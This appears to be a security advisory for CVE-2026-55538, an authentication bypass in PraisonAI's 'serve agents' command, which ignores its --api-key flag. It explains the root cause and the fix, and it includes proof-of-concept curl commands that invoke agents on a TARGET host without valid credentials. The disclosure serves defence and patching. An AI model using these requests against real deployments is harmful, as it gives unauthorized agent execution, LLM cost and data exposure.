high · 7.3CVE-2026-55538Aug 25, 2026

CVE-2026-55538: PraisonAI serve agents --api-key Authentication Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

PraisonAI's 'serve agents' command accepts an --api-key flag but never enforces it, so anyone who can reach the server can invoke registered agents without any credentials.

PackagePraisonAI
Ecosystempip
Affected< 4.6.58
Fixed in4.6.58
CVE-2026-55538: PraisonAI serve agents --api-key Authentication Bypass

The problem

Running 'praisonai serve agents --api-key <secret>' advertises protection but the parsed key is silently dropped. The function _create_agents_app() never reads config["api_key"] and attaches no auth dependency or middleware to the agent-invocation routes.

As a result, POST /agents and POST /agents/{agent_name} accept every request regardless of credentials. An unauthenticated caller gets HTTP 200 and agent execution, while the sibling /api/v1 routes in the same process correctly return 401. Exposed agents commonly hold LLM provider credentials, RAG memory, browser tools, or shell access, so the bypass translates directly to unauthorized LLM cost and data leakage.

Proof of concept

A working proof-of-concept for CVE-2026-55538 in PraisonAI, with the exact payload below.

bash
# Start the server with an API key (operator believes it is protected)
praisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret

# Invoke an agent with NO credentials -> HTTP 200, agent executes
curl -sS -X POST http://TARGET:8765/agents/owned \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"hello"}'
# Response: {"response": "..."}

# Wrong bearer also succeeds
curl -sS -X POST http://TARGET:8765/agents/owned \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer wrong-secret' \
  --data-binary '{"query":"hello"}'
# Response: {"response": "..."}

# POST /agents (default path) also unauthenticated
curl -sS -X POST http://TARGET:8765/agents \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"hi"}'
# Response: {"response": "..."}

The root cause is CWE-306 (Missing Authentication for Critical Function). The CLI parses --api-key into a config dict and passes it to _create_agents_app(), but that function never reads config["api_key"] and never calls FastAPI's Depends() on any agent route.

No middleware, no header check, nothing.

The failure is sharpened by the fact that a working auth dependency already exists in the same file. The agent_invoke router uses verify_token with Depends(verify_token) on every /api/v1 route, and that router is mounted into the same app. The direct /agents routes just never use it.

To make it worse, verify_token reads the CALL_SERVER_TOKEN environment variable, not the CLI --api-key, so the CLI option feeds no auth path whatsoever. The fix in 4.6.58 adds an auth dependency built from config["api_key"] and attaches it to every agent-invocation route in _create_agents_app() and _create_unified_app() using dependencies=[Depends(verify)].

The fix

Upgrade PraisonAI to version 4.6.58 or later (pip install -U praisonai). If immediate upgrade is not possible, do not expose the serve agents port to untrusted networks (remove --host 0.0.0.0 or place a reverse proxy with its own auth in front). Do not rely on --api-key for access control in any version below 4.6.58.

Reported by Shmulik Cohen.

References: [1][2][3][4]

Related research